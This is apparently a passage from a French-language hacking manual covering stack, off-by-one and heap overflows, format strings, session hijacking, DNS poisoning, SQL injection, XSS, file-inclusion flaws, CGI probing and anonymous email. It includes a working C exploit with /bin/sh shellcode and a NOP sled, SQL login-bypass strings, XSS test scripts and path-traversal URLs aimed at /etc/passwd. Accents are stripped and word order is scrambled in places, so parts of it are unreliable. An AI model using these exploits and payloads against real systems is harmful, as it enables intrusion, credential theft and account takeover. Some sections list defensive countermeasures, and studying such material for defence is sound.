En premier, vous devez savoir qu' adresse mmoire est forme du segment et de une loffset. Pour connatre la place dun octet, il faut prendre le segment et loffset, leur ajouter la lettre h (au deux parties) puis multiplier le segment par seize et additionner au rsultat loffset. Le rsultat de cette multiplication puis de cette addition constitue l' adresse mmoire d' octet. un Pour plus informations, rfrez-vous un livre traitant de la constitution des lments d' ordinateur. un

certaines instructions :
Nom de linstruction CALL Fonction Linstruction CALL permet de se brancher une sous-routine laide de branchements intra-segments ou extrasegments. Lors de lutilisation de cette instruction, le registre IP est mis sur la pile, on lui affecte ladresse de la sousroutine et lorsque la sous-routine a fini dtre excute, la prcdente valeur de IP est charge Permet de revenir au programme parent ( ou encore appelant ) lorsquune sousroutine sest excute Son but est semblable celui de RET. Sa particularit est quelle permet de revenir au programme appelant mme sil se trouve dans un autre segment Cest une instruction qui ne fait rien et passe linstruction suivante.

RET RETF

NOP

POP et PUSH :
Pour mettre une donne sur la pile, on utilise l' instruction PUSH et cela s' appelle faire un empilement, ce moment-l, SP est dcrment de deux octets pour les mots, 4 octets pour les double mots

68

Pour rcuprer une donne place sur la pile, on utilise l' instruction POP, cela s' appelle faire un dpilement, ce moment-l, SP est incrment de 2 octets pour les mots, 4 octets pour le double mots

la pile :
La pile est un espace utilis par les programmes pour placer temporairement les lments et pouvoirs les rcuprer plus tard. La pile est de type LIFO (Last In First Out = le premier lment entr est le dernier sorti) cest--dire, pour ceux qui n' auraient pas compris que la pile se rempli de la fin vers le dbut (un peu comme un verre que l' remplit d' on eau).

crer un code d' attaque :


Nous allons voir comment mettre en place une attaque de type dpassement tampon servant exploiter une des fonctionnalit du systme. Cela s' appelle faire un dpassement de tampon contrl. Mais voyons d' abord quelques moyens permettant d' injecter et excuter son code actif (appell aussi uf) .

l' injection et l' excution :


Le but de tout ce que l' va faire, va tre de faire excuter un shellcode par le on programme cible : plus le logiciel aura des droits levs plus notre shellcode aura des possibilits daccs levs. Le buffer que lon va injecter peut aussi contenir un lien vers une adresse o l' aura on plac le shellcode (ou uf). Avant de continuer, voyons o l' peut placer luf. Ce dernier peut-tre plac dans on un fichier, dans des variables d' environnement, directement sur la pile, dans une bibliothque dynamique des fonctions Pour se brancher directement sur luf , nous allons voir 3 mthodes : le branchement direct, l' utilisation de la fonction CALL, le retour une adresse approximative. la branchements direct : cela peut servir si l' connat l' on adresse o est situe luf sur la pile La fonction CALL : cette fonction du langage assembleur permet d' appeler des sous-routines. Avec certaines options, CALL peut faire des branchements intra-segment et extra-segment. Lors de cet appel, EIP est

69

place sur la pile et contient l' adresse de la sous-routine appele. Quand la sous-routine a fini son excution, l' ancienne valeur de IP est recharge. Le retour une adresse approximative : gnralement lorsqu' sousune routine finit son excution, on revient au programme appelant l' de aide la fonction RET. Si un pirate connat l' adresse retour, il peut soit la modifier par l' adresse de son oeuvre soit utiliser un buffer overflow pour placer son oeuf l' adresse de retour.

crer son uf :
Luf correspond la charge centrale de l' attaque. Un oeuf attaque gnralement une faille qui permet de faire planter le systme cible ou pouvoir accder des fichiers Luf doit donc tre bien cod. Pour crer un oeuf, le conseil serait d' crire le moins de code possible, d' utiliser le plus possible les ressources offertes par le systme cible (comme les bibliothques dynamiques que possde le systme, les appels systmes ou syscall), de passer par le shell pour simplifier la recherche et l' accs un fichier et de laisser un backdoor. Le shellcode peut tre crit en language C. La plupart de ses instructions devront tre des appels systmes (syscall). Exemple : exit(0) doit tre remplac par _exit(0) Quand le shellcode sera prt, on va le compiler et le dsassembler (car un shellcode doit tre en language assembleur). Il faut surtout conserver les parties du shellcode qui utilisent des interruptions et dautres fonctions fournis par le systme (do lutilisation de syscalls qui utilisent ces genres de fonctions systmes). Quand tout est enfin prt (je parle bien sr du shellcode cod en assembleur), il va falloir transformer ou plutt traduire notre uvre en hexadcimal et coder dans notre language prfr les instructions qui vont nous permettre de lancer notre shellcode. Le buffer overflow peut aussi permettre de crer deux canaux de communication entre le systme pirate et le systme cible : un peu comme faire un telnet invers. Si l' veut placer notre uf sur la pile et faire un branchement direct ou un on branchement par retour une adresse approximative, luf peut contenir au dbut une suite plus ou moins longue d' instructions NOP car les caractristiques de cette instruction est de ne rien faire et de passer l' instruction suivante. Pour finir, le code devra tre encoder car certains programmeurs filtrent les lments d' tampon. un Vous tes maintenant capables de crer votre propre attaque par dpassement de tampons.

70

Vous pouvez aussi maintenant crer un uf qui vous donnera un accs au systme ou qui le fera tout simplement planter. La cration dun uf peut aussi vous permettre d' exploiter plusieurs failles en mme temps.

Quelques informations :
Pour russir une attaque de type buffer overflow, le pirate doit arriver overwriter ebp et eip qui sont gnralement placs aprs le buffer mit sur la pile (stack). Lors de lappel dune fonction, gnralement le processeur doit sauvegarder lenvironnement pour quon puisse le retrouver aprs lexcution de la fonction. Le processeur place largument de la fonction, puis il appelle la fonction. Il PUSH eip puis sauvegarde ebp laide dun :
push ebp

aprs tout cela, il place esp (qui contient ladresse du dernier lment de la pile) dans ebp. Ensuite, il dcrmente esp pour quil puisse contenir les nouvelles variables (et oui cest une soustraction qui est fait car la pile crot vers le bas sur Little Endian). Pour finir, on place esp. Ca donne gnralement un truc du genre :
<- a va vers le haut de la pile [ buffer ][ ebp saved ][ eip saved ][ variable ] a va vers le bas de la pile ->

Quand la fonction a fini son excution, il faut rtablir lenvironnement. On fait donc sur esp, linverse de laction qui avait t faite sur elle au dbut de la fonction dans le but de diminuer la taille de la pile, puis on place ebp dans esp. Ensuite, on POP llment se trouvant au dessus de la pile et on le place dans ebp. Llment se trouvant au dessus de la pile est en faite lancienne valeur de ebp : [ ebp saved ]. Pour terminer, on POP le dernier lment de la pile et on le place dans eip Avant de terminer ce chapitre, nous allons certaines variantes des failles de type stack overflow et autres.

Buffer Overflow
En premier, il y a le buffer overflow qui sert craser des donnes sur la pile. Voici un code exemple :

71

int main(int argc, char *argv[]) { char buffer[100]; strcpy(buffer, argv[1]); return; }

Ceci est un exemple trs simple et on voit facilement le problme: ce mini programme accepte un argument qui est ensuite copi dans le buffer, un tableau qui naccepte que 100 caractres. Si on lui passait une chane de 100 caractres il ny a pas de problmes comme le montre l exemple :
$> gdb -q vulnerable (gdb) run `perl -e "print('A'x100)"` Starting program: /root/Khaalel/Overflows/exemples/faille13/vulnerable`perl -e "printf('A'x100)"` Program exited normally. (gdb)

Par contre, si lon passe une chane de plus de 100 caractres (mme de 2 mots de plus soit 108 caractres), on voit safficher un beau :
Program received signal SIGSEGV, Segmentation Fault.

Maintenant voyons comment il serait possible dexploiter cette faille. Il nous faudrait dabord dsassembler le mini programme et mettre un point darrt sur la fonction strcpy() pour ensuite connatre ladresse de buffer : il contiendra le code dattaque. Astuce : aidez-vous de loprateur & pour afficher grce gdb ladresse de buffer :
print &buffer.

Sachant que buffer accepte 100 caractres et que ebp et eip valent en tout 8 octets (4 chacun car ce sont des mots). On va dire quavec 108 caractres on aura compltement overwrit [ ebp saved ]. Voici un code dattaque qui pourrait permettre dattaquer ce code :
#include <stdlib.h> #include <stdio.h> #define BUF_PROG 100 #define LE_PLUS 8 int main() { char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40" "\xcd\x80\xe8\xdc\xff\xff\xff" "/bin/sh"; char addr[] = "[ici_adresse_du_buffer]"; char buffer[110];

72

int a; int i; for (a = 0; a < ((BUF_PROG+LE_PLUS)(strlen(addr)+strlen(shellcode))); a++) buffer[a] = '\x90'; for (i = 0; shellcode[i]; i++, a++) buffer[a] = shellcode[i]; for (i = 0; addr[i]; i++, a++) buffer[a] = addr[i]; execl("/root/Khaalel/Overflows/exemples/faille13/vulnerable", "vulnerable", buffer, NULL); }

Normalement vous devriez avoir compris un peu plus la notion de buffer overflow.

Off-by-One Overflow:
On est toujours dans les vulnrabilits de type buffer overflow. Loff-by-one (ou encore frame pointer overwriting) est une technique qui est spciale car gnralement elle nest pas provoque par lutilisation dune fonction faisant dfaut. En effet, le responsable est le programmeur qui ne fait pas toujours attention au code de son programme. Voici par exemple le bout de code dun programme :
char buffer[150]; for (i = 0; i <= 150 && chaine[i]; i++) buffer[i] = chaine[i];

A premire vue, elle na pas de vulnrabilits. Et bien si, elle en a une, qui est de type off-by-one. O ? et bien vous allez tout de suite le savoir. Le programme dclare un tableau de caractres qui peut contenir 150 caractres. Pour information, vous devez savoir que le tableau de caractres chaine est fournit en argument au programme par lutilisateur et que le programme na pas fait de vrification sur la chane. Ensuite le programme met la chane de lutilisateur dans le tableau buffer en utilisant une boucle for.

73

En testant le programme et en fournissant une chane de 150 caractres, le programme se finit bien : $> gdb -q vulnerable (gdb) run ` -e "print(' x100)"` perl A' Starting program: /root/Khaalel/Overflows/exemples/faille14/vulnerable` -e perl "printf(' x100)"` A' Program exited normally. (gdb) mais en fournissant une chanes de 151 caractres, on retrouve lhabituel :
Program received signal SIGSEGV, Segmentation Fault.

Pourquoi? Il copie intgralement les 151 caractres car la boucle commence 0 pour boucler 151 fois jusqu 150 (et oui de 0 150, il y a 151 pas car on commence compter partir de 0), mais le problme est le tableau qui naccepte que 150 caractres entranant lcrasement et loverwriting du dernier octet de [ ebp saved ]. Le problme rside en faite dans lutilisation de loprateur : <= dans la boucle for quil faudrait ventuellement remplacer par un simple < . Cest vrai quon ne peut crire de shellcode sur un octet, mais cela ne veut pas dire que cette vulnrabilit ne sert rien car si la pile est encore excutable, on peut toujours crire sur cet octet ladresse o se trouve le shellcode. Si vous ne connaissez pas ladresse exacte du shellcode, vous pouvez toujours faire une technique de brute forcing, qui va tester chaque adresse en mmoire jusqu trouver celle qui contient le shellcode.

Heap Overflow :
Le heap overflow est une technique de overflow qui diffre de lhabituel stack overflow car tout ce passe dans le heap (ou encore tas). Quest-ce-que le tas ? Et bien, comme la pile, cest une section en mmoire qui contient des lments. La pile contient les lments qui vont tre excuts par le processeur et qui sont placs dans un ordre bien dfini. Le tas contient les variables alloues dynamiquement et qui sont places dans un ordre alatoire car il ny a pas de rgles. Cette vulnrabilit est base sur lutilisation des fonctions malloc( ), free( ) et unlink( ).

74

La fonction malloc() alloue de la mmoire. Elle fonctionne en fragmentant le tas par blocs qui contient soit une structure (appele aussi chunk) donnant des informations sur la zone mmoire alloue soit la zone mmoire alloue. La fonction free() libre un espace mmoire. Ce qui fait que free( ) est important dans le fonctionnement du heap overflow est que quand free( ) libre de la mmoire et voit que le bloc suivant est aussi libr, il fait un gros bloc libre sous un seul chunk (grce la fonction unlink( )).
Voici le code de la fonction unlink() : #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }

Pour russir cette attaque, il va falloir crire plus de donnes que peut en recevoir le premier bloc de la zone mmoire alloue pour pouvoir crire dans le chunk de la deuxime zone de mmoire. Que crire et o ? Et bien, un chunk est constitu de plusieurs champs : 4 en faite. prev_size size fd bk Sans entrer dans les dtails, la plupart du temps, il faudra mettre dans le champs prev_size, que le chunk est libre (en relisant ce pourquoi free() est important, vous comprendrez), dans le champs fd, il faudra crire ladresse o lon veut mettre notre shellcode et dans le champ bk, ladresse o se trouve le shellcode. Pour plus dinformations sur le heap overflow, je vous conseille de lire larticle Once upon a free() du phrack 57.

Parades :
- contrler tous les lments passs sur la pile - pour dtecter si une application est vulnrable, analyser son code source ( l' de scanner de vulnrabilit) ou encore tester manuellement le aide fonctionnement de l' application en y faisant un petit audit.

75

Scuriser la pile d' excution ou la rendre non excutable.

76

77

Le dtournement de sessions
Le dtournement de session (ou encore hijacking) est une technique de piratage qui consiste s' emparer de la connexion d' autre personne. une Cela peut pas tre assimil de l' spoofing car l' se fait passer pour une personne IP on que l' n' pas. on est Nous allons voir deux types de dtournement de sessions : - celui qui consiste envoyer des paquets avant le client, - celui qui consiste se faire passer pour ce que l' n' pas dans le but de on est faire de l' espionnage ou de rdiger le client o nous le voulons. Ne vous attendez pas un manuel de cuisine qui vous explique quoi faire, quel moment, et quels doivent tre les rsultats car comme l' spoofing, il n' a pas de IP y protocole type appliquer et les rsultats dpendent de l' environnement dans lequelle on se trouve, aussi de notre but.

Premier type de dtournement de session :


Cette technique dpend de notre rapidit analyser des paquets et notre rapidit rinjecter des paquets dans le rseau. Il va nous falloir un sniffer, un logiciel qui forge des paquets et tre sur le mme segment rseau que le systme cible (le contrler serait le mieux) . Imaginons trois systmes A, B et C. Le systme A est le systme scuris auquel on essaie d' accder, le systme B est le client autoris accder au systme A et le systme C est le systme du pirate qui essaie de dtourner la connexion de B. C va devoir analyser le trafic rseau de B pour savoir quand B se connecte A et envoyer le 3me paquet ncessaire pour tablir une connexion avec A (cf la poigne de mains). Pour pouvoir analyser le trafic rseau de B, C va devoir : - soit se faire passer pour la passerelle par dfaut (cf larp spoofing) - soit flooder le switch pour quil se comporte comme un hub et lui mettre un sniffer sur son port SPAN - soient infiltrer B et lui installer un sniffer et un backdoor. L' attaque va se drouler ainsi : C va sniffer la connexion de B. Lorsqu' verra un il paquet contenant les flags SYN et ACK activs et provenant du systme A, il va

78

envoyer A un paquet ACK ayant comme IP source celle de B, puis il devra trouver le moyen de communiquer tranquillement avec A en se faisant passer pour B sans que ce dernier ne donne signe de vie. Pour cela, il peut faire planter B et associer son adresse MAC lIP de B en faisant du DNS spoofing. Le systme C peut aussi infiltrer le systme B et y mettre un programme qui sniffera le trafic rseau de B et qui aura comme 2me mission de faire suivre, vers le systme C, les paquets provenant de A pour que C puisse rpondre la place de B. Il ne faudra pas oublier d' ajouter, au programme, une fonction qui bloquera tout paquets mis de B en direction de A.

Deuxime type de dtournement de session :


Cette technique consiste utiliser des programmes ou des systmes qui relaient des paquets et en lesquels les gens ont confiance. Ces systmes et logiciels peuvent tre des serveurs socks, des proxys, des routeurs Dox Route exemple de routeurs :

exemple de proxys : Achilles qui est un serveur proxy qui permet de capturer, modifier (si on le veut) et faire suivre les requtes d' client. Pour que cela fonctionne, il faut installer le un programme sur notre systme puis il va falloir configurer les paramtres Internet de la victime. Il y a deux paramtres modifier : il faut modifier le serveur Proxy qu' utilise la victime. Sous Internet Explorer, aller dans Outils/Options Internet/Connexions et dans les paramtres de la connexion de la victime il faut mettre notre adresse IP dans le champ Adresse : du serveur proxy et mettre dans le champ Port : le port qucoute Achilles sur notre systme.

79

80

Il y a quelques temps, les serveurs DNS (dont certaines versions de BIND) pouvaient tre dtourns avec diffrentes mthodes. En voici une : Il fallait empoisonner le cache du serveur DNS cible avec de fausses informations. Pour raliser cela, le pirate demande la cible de faire une requte DNS de type A (rsolution de nom) vers le systme DNS du pirate. Ce dernier va renvoyer une rponse fausse (cela peut par exemple servir dtourner le trafic dun site web). La cible tait bien sur le DNS vulnrable.

81

82

Formats Strings
mais dou vient-elle ?
La vulnrabilit des chanes de format existe parce que les dveloppeurs de logiciels ne contrlent pas la validit des arguments externes utiliss dans les fonctions de la famille printf( ). Avant d' plus loin, il faut quand mme savoir ce quest une chane de format. aller Une chane de format est une chane de caractres cre lors de l' excution d' un programme l' de spcificateurs de formats tant associs une variable. aide Cette vulnrabilit va nous permettre de lire et crire dans la pile d' excution.

but de cette vulnrabilit :


La vulnrabilit des chanes de formats peut aider un pirate lire des lments en mmoire, crire des shellcodes ou des pointeurs en mmoire, faire une attaque de type dpassement de tampon ou encore refus de service, craser et remplacer des lments en mmoire.

lire en mmoire :
Lire en mmoire peut servir obtenir le mot de passe d' application lorsque le une programme le conserve Pour lire en mmoire, il faut utiliser le spcificateur %x , qui lit des lments de quatre octets ou le spcificateur %s qui lit des lments des emplacements mmoires arbitraires.

crire en mmoire :
Cette technique va nous permettre dcrire en mmoire des shellcodes, des pointeurs vers un shellcode, remplacer des entres, des adresses de retour d' fonction, une craser les valeurs Pour crire en mmoire, il faut utiliser le spcificateur %n .

faire dborder la pile et planter le systme :

83

Pour faire dborder la pile ou faire planter un systme l' des chanes de format, aide il nous faut utiliser les lments dmultipliant les possibilits de lecture et dcriture des spcificateurs de format. Il y a par exemple le jeton toile * qui permet d' augmenter les possibilits du spcificateur de format de quatre octets. Ex : %***2x Ou il suffit de rajouter un nombre d' entre % et la lettre du spcificateur pour lui spcifier d' utiliser x caractres (lments) pour lire et crire ce que l' veut. on Voici une liste non exhaustive de certains spcificateurs de formats : -%s : qui permet de lire des lments des emplacements arbitraires. -%x : qui permet de lire des lments de quatre octets. Il peut aussi nous permettre d' atteindre une adresse ou une fonction. -%n : qui permet d' crire en mmoire. -%i : qui permet de lire des entiers. -%p : qui permet de traverser la pile.

Parades :
- contrlez la validit et le type des lments externes, - faites un audit du code des applications, - crez ou appliquez des patchs pour la scurisation de la pile. Des patchs donnant certaines restrictions aux fonctions en mmoire et protgeant la pile.

84

85

Failles spcifiques aux Web


Dans ce chapitre, nous allons voir certaines failles que peuvent avoir les sites Web que vous visitez ou construisez. Ce chapitre a principalement t crit pour les webmasters ne voulant pas que leur site tombe lors dattaques de pirates mais aussi pour ceux faisant des audits de sites et aux personnes voulant comprendre comment les pirates arrivent a dfacer des sites.

SQL injection :
Cette faille qui consiste contourner une authentification de session n' possible est que sur les serveurs qui ne filtrent pas les caractres dit spciaux comme les guillements " , lapostrophe , le slach / , lanti-slach \ et les caractres ASCII Comme nous venons de le voir, pour raliser cette attaque, on doit se trouver en face de serveurs autorisant (ne filtrant pas si vous prfrez) les caractres dit spciaux , et l' utilisation des mots cls comme OR, AND, NOT Un peu de thorie avant de passer la pratique. Pour quune requte russisse, elle doit tre dclare vraie par le serveur, et c' cela son point faible car si l' utilise est on des galits toujours considres comme vraies la place du contenu des variables que peut bien faire le serveur ne filtrant pas les caractres spciaux a part accepter la requte qui est vraie. Les exemples valent mieux que des explications pour comprendre cette technique.

comment injecter ce que l' veut dans des requtes SQL ? on


Nous allons utiliser les galits toujours considr comme vraie (1=1, g=g, n=n) les oprateurs comme OR, AND, et certains caractres spciaux comme , -- , /* , */ Mon identifiant est : voila, mon passe est : securite, la table qui contient la liste des mots de passe et identifiants associs s' appelle idpass. Voici une requte de authentification normale faite sur un serveur :
SELECT * from idpass WHERE id=voila AND pass=securite (www.site.com/page.php?id=voila&pass=securite)

Maintenant, voici une requte d' authentification modifie par un pirate et tant bonne :

86

SELECT * from idpass WHERE id= OR 1=1 OR 1=1 AND pass= (www.site.com/page.php?id=or1=1or1=1)

Cette technique a utilise l' oprateur OR et les galits toujours considres comme vraie. Une autre technique consiste employer les caractres spciaux qui sont utiliss pour mettre les commentaires dans les langage comme le PHP Nous allons donc utiliser /* , */ et -- . Ces caractres vont servir discriminer certaines parties de la requte dauthentification.
SELECT * from idpass WHERE id= OR 1=1 /*AND pass=*/ OR 1=1

Tout ce que nous venons de voir sur le SQL injection est utilisable si l' ne connat on ni lid ni le mot de passe d' des vritable personnes sauthentifiant sur le site. Ds une fois, on connat au moins lid (login) d' des inscrits. Il va donc falloir modifier les un requtes que l' avait cr pour qu' prennent en considration ce nouvel on elles lment.

XSS (Cross Site Scripting):


Le XSS (Cross Site Scripting) est une technique qui consiste modifier directement l' URL dune page en PHP notre avantage. Elle est ralisable avec un navigateur et des connaissances sur la manire dont son codes des informations dans une URL. Une URL est constitue du protocole utilis (par exemple http://) puis du nom de domaine du site sur lequel on se trouve; enfin, il y a le chemin d' accs au fichier sur lequel on se trouve. Sur les serveurs potentiellement vulnrables au XSS, il y a ensuite un ? suivi des noms des variables, de signes & , % , de valeurs et de chiffres. Pour savoir si un serveur est vulnrable, il va falloir y faire des tests. Tapez par exemple :
www.site.com/page.php?<script>alert(vulnerable);</script>

Si en pressant la touche entre, on voit un cadre qui s' affiche l' cran avec le mot vulnrable, cela veut dire que le serveur est vulnrable aux XSS. Certains serveurs ont un peu mieux scuriss leurs codes PHP mais sont encore vulnrables. Il suffit juste de remplacer les caractres de l' URL de test par leurs quivalents UNICODE.

87

Le XSS est une technique plutt simple d' emploi mais qui a des pouvoirs normes. L' exemple le plus courant est le mail qu' pirate envoi un internaute. Ce mail un contient un lien vers un site que l' internaute l' habitude de visiter : bien sr le lien a t truqu par le pirate dans le but que ce dernier reoive le cookie didentification de l' internaute. Ce cookie va lui permettre de se reconnecter la mail box de linternaute et dy faire ce que bon lui semble. Il y a pleins d' autres possibilits d' utilisation du XSS, cela dpend de l' imagination du pirate. Voici un fait divers sur l' utilisation du XSS. Il remonte octobre 2002, lorsque les membres de la HACKADEMY TEAM dcouvrirent qu laide du XSS, on pouvait pratiquement accder aux donnes des comptes en ligne des clients de certaines banques franaises.

la faille include() :
En programmation, la fonction include( ) permet d' inclure des fichiers externes dans le code source utilisant cette fonction. L n' pas le problme ! est Gnralement, les crateurs de sites Web dynamiques utilisant cette fameuse fonction oublient de faire un contrle sur les fichiers inclus, il est donc possible dinclure ce que l' veut et pourquoi pas les fichiers de configuration du serveur cible ? Ou le on fichier de mots de passe ? ou encore un fichier d' autre site/serveur ? un Voici un bout du code d' script PHP utilisant la fonction include ( ) : un
<? include ($page) ; ?>

Cela va nous donner dans la barre l' adresse :


www.site.com/xxx.php?page=[nom_de_page_quelconque]

Pour y introduire ce qu' veulent, les pirates modifient ils [nom_de_page_quelconque] par un fichier choisi pralablement. Pour scuriser tout cela, il va falloir faire un contrle sur les arguments passs. Exemple :
< ? if (file_exists($page)) include ($page) else include (404.php) ?>

ou encore

88

<? if ($page=xxx) include (news.php); ?>

La deuxime mthode de scurisation est utiliser pour toutes les pages du site qui peuvent tre inclus dans une requte et la possibilit de ne pas permettre dinclure n' importe quel fichier mme s' existe sur le serveur. il Une autre mthode de scurisation pourrait passer par l' utilisation dune fonction qui listerait le contenu d' rpertoire prcis pour savoir si les fichiers inclure sont un prsents sur le serveur.

la fonction fopen( ) :
La diffrence entre fopen( ) et include( ) est que la premire fonction ne fait pas quinclure le fichier mais louvre aussi. De plus, les inclusions de fichiers sont de plus en plus filtres, alors que les ouvertures de fichiers avec fopen( ) ne le sont pas vraiment. Cette technique est utilisable seulement si la fonction fopen( ) utilise une variable comme argument :
<? fopen($var, r); ?>

et que lon retrouve cette variable dans lurl de la page. Si les conditions prcdentes sont vrifies alors on va pouvoir ouvrir des fichiers se trouvant sur le serveur ou sur dautres serveurs. Et si on consultait le fichier passwd du serveur :
http://www.site.com/page.php?var=../../../../etc/passwd

(le nombre de rpertoire pour latteindre est chercher)


http://www.site.com/page.php?var=http://cible/../../../etc/pas swd

(ou un autre fichier du site) Rien ne vous empche de crer une page contenant cette fonction pour explorer le serveur que vous voulez.

les CGI :

89

Les CGI (Common Gateway Interface) sont des applications Web visibles et utilisables par les navigateurs. Les CGI sont la base crs pour donner une certaine interactivit avec l' utilisateur, gnrer dynamiquement des pages, images () et enregistrer des informations donnes par l' utilisateur. Les CGI sont gnralement constitus de deux lments de base: un formulaire que voit et rempli l' utilisateur, et d' programme qui traite les informations fournies. un Pour pouvoir bien fonctionner, les CGI ont besoin des donnes de l' utilisateur, qui seront envoy au CGI l' de mthodes de transfert des donnes (les principaux aide sont GET et POST). Pour bien traiter les donnes, et les demandes, les CGI utilisent des variables d' environnement puis renvoient le(s) rsultat(s) . Ces applications peuvent tre crites dans divers langages (C, PERL) . Les CGI ont malgr tout certains inconvnients plutt important : ils sont excuts sur le serveur Web et disposent gnralement de droits trs levs donc si les CGI sont pirats, les auteurs de ce mauvais tour pourront excuter divers programmes sur le serveur o rside le CGI. Et pourquoi ne pas utiliser un shell ? Ou afficher le fichier de mots de passe ? Pour dcouvrir les vulnrabilit dont souffre certains CGI, les pirates utilise des scanners de vulnrabilits de CGI comme whisker de RPP, N-STEALTH Voyons comment dcouvrir manuellement des failles dans les CGI.

analyse du code source :


Il faut analyser le code source des formulaires ou autres scripts donnant accs un CGI. Prtez surtout attention aux informations contenues entre les balises HTML : <form> </form>, les champs cachs du formulaire, les textes et les informations par dfaut, les mthodes d' envoi, les diffrents chemins d' accs d' autre scripts, les fonctions (systmes ou non) utilises comme system( ), open( ) et le nom des variables.

analyse des URL :


Copier les URLs des diffrentes pages, avant et aprs la saisie des donnes du formulaire et comparez-les. Relevez les variables et leur(s) valeur(s) associe(s) et tudiez-les attentivement avec les variables du formulaire. Modifiez les valeurs, voir ce qui se passe, et ainsi de suite jusqu' ce que vous puissiez pntrer le serveur Web et utiliser ses ressources (grce un telnet invers par exemple) .

Dautres failles web

90

Le fichier robot.txt
robot.txt est un fichier qui est plac la racine dun site web et qui est utilis par les moteurs de recherche. Lorsque ces derniers rencontrent ce fichier, ils ne vont pas inclure dans le rsultat de la recherche les rpertoire qui se trouvent dans le fichier : il sert donc cacher des rpertoires. Par contre, lorsque lon fait une recherche avance dans google ou dans dautres moteurs de recherches en spcifiant que lon veut accder tous les fichiers robots quils ont conserv dans leurs bases de donnes, les moteurs de recherches nous affichent une liste incroyable (mais vrai) de liens vers des fichiers robots. Cela peut permettre un pirate de se dplacer dans des rpertoires privs qui peuvent contenir des donnes importantes ou non (comme les rpertoire dadministration du site, le rpertoire o est situ les fichiers de la base de donnes) . Ce nest pas une faille : ce fichier est un lment double tranchant facilitant la tche des moteurs de recherches et des webmasters mais aussi des pirates.

Dautres fichiers
Lorsque lon cr un site, on a souvent envie de protger laccs certains fichiers ou rpertoires. Cela est possible grce aux fichiers .htaccess et .htpasswd. .htaccess va tre le fichier qui protge le rpertoire grce un mot de passe et .htpasswd le fichier qui contient le mot de passe. Pour information, .htaccess dtient ladresse du fichier .htpasswd. Il est possible daccder au contenu de ces deux grce son navigateur. Google peut parfois tre utile pour chercher les fichiers prcdemment cits.

Parades :

- utilisez les fonctions de scurit des langages utiliss pour crer des applications Web, - faites un audit de scurit des codes des scripts de votre site, - faites des contrles sur les arguments passs au fonctions, - il faut que les serveurs Web et mails filtrent les caractres spciaux mis dans les requtes.

91

92

Messageries et cookies
Dans ce chapitre, nous allons apprendre analyser les champs des en-ttes des mails, cela va nous permettre de savoir qui est le vrai metteur d' message et plein d' un autres choses encore. Puis nous allons voir comment les pirates et pleins d' autres personnes envoi de messages lectroniques anonyme. Pour finir ce chapitre, nous allons parler des cookies, de leur formation, de leur constitution, et de leur fonctionnement.

messages lectroniques :
Tout message transmis par internet est constitu de 2 parties : len-tte (header) et le corps (body).

Champs de base :
Voici la description des champs de base de len-tte dun message : Date: : fournit la date et lheure de la rdaction du message. From: : fournit ladresse de la personne ayant mis (transmis) le message. To: : fournit ladresse du destinataire. Subject: : fournit lobjet (ou sujet) du message.

Autres champs :
Cc: : (Carbon Copy, copy carbone) permet denvoyer le message plusieurs personnes ; il peut contenir plusieurs adresses de messageries spares par des virgules. Bcc: : (Blind Carbon Copy, copie cabone cache), comme Cc : , permet denvoyer le message plusieurs personnes, la diffrence est quavec Bcc : , les diffrents destinataires ne savent pas quelles autres personnes le message a t envoy. Reply-To: : permet de spcifier une adresse de retour autre que celle mis dans From :. Message-id: : ceci est lidentifiant unique du message, gnr par le logiciel de messagerie. Received: : champ ajout par un serveur SMTP ds quil le reoit et avant son envoie au relais suivant.

93

aprs le from , on retrouve ladresse DNS de la machine sur lequel le logiciel de messagerie (du rdacteur) est excut ; puis aprs le by, ladresse DNS du serveur SMTP qui a ajout ce champ ; puis on a le protocole utilis et lid du message ; et enfin ladresse de messagerie du destinataire et la date de rception du message.
Constitution de ce champs:

From ( ne pas confondre avec le From de base qui contient deux points : ) et Return-Path: contiennent une adresse qui permet de remonter lexpditeur. (a peut servir quand on a affaire un spammer). Ces champs sont ajouts par le dernier relai dlivrant le message. Sender: contient une adresse lorsque From: nest pas celle de la personne ayant rellement mis le message. Resent-From: contient ladresse de la personne qui a crit le message (normalement cest la mme personne que celle layant mis, jai bien dit normalement) Pour ceux qui veulent aller plus loin, sachez que certains en-ttes HTTP ont les mmes en-ttes que ceux tant dans les messages lectroniques. Cela peut permettre de contourner certaines protections tant dans les logiciels de messageries gratuites (comme Hotmail) en travaillant directement dans les en-ttes des messages lectroniques.

messageries anonymes :
A quoi peuvent bien servir les messageries anonymes ? Se protger, se cacher, masquer la source (lexpditeur) dun message. Oui, cest vrai, mais pas seulement, cela peut aussi servir ne pas fournir aux destinataires (ou pirate sniffant ou contrlant un systme qui r-achemine des paquets comme des serveurs et des routeurs) les informations contenues dans les en-ttes de messages Maintenant, nous allons voir diffrents moyens pour tre anonyme sur internet avec notre messagerie.

les webmails gratuites :


Vous devez connatre les domaines du genre hotmail.com et netcourrier.com ou caramail.com ? Et bien, ce sont leur service de messagerie gratuite qui va nous permettre davoir une adresse de messagerie anonyme. Bien sur, ne donner pas vos vrais nom et prnom lors de lenregistrement sinon o passe votre anonymat !!!

94

les remailers anonymes :


Ils sont encore mieux que les messageries gratuites car les messages lectroniques passent par plusieurs serveurs SMTP que lon dit relais. Ce qui rend cette technique vraiment anonyme, est que les serveurs SMTP relais suppriment les champs Received : des serveurs SMTP relais prcdant. Donc, grce cette technique, seul le dernier serveur SMTP relais est sauvegarder dans len-tte du message lectronique avec len-tte Received : . Il est donc thoriquement impossible que lon remonte lmetteur. Anonymizer.com un service de remailer anonyme.

Conclusion :
Utiliser les 2 techniques nonces dans cette partie pour votre anonymat.

les cookies :
Vous avez dj du entendre parler des cookies , ces petits fichiers textes contenant des informations envoyes par le serveur au client et tant stocks par le client (vous si vous prfrez). En 1990, Montulli de Netscape, cra le cookie pour quil puisse assurer une certaine persistance dans la communication sur le web (comme les transactions).

En-ttes des cookies :


